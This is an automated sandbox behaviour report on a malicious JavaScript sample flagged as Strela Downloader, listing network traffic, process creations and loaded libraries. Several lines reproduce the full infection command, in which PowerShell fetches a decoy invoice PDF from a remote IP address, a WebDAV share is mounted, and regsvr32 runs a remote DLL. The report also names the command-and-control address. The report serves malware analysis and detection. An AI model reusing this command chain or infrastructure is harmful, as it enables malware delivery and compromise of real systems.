HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000003.2186576020.0000024440BEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2253977459.0000014632DAA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2253977459.0000014632D9E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2253977459.0000014632D78000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2253977459.0000014632DD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: svchost.exe, 00000009.00000002.3474088972.000001B40BE00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2260192801.000001B40BD30000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3328, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 998728891275936098.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3468

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5708:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wfmqeo3c.fcf.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\998728891275936098.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1960 --field-trial-handle=1784,i,656151265044772534,14870895431654041386,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1960 --field-trial-handle=1784,i,656151265044772534,14870895431654041386,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
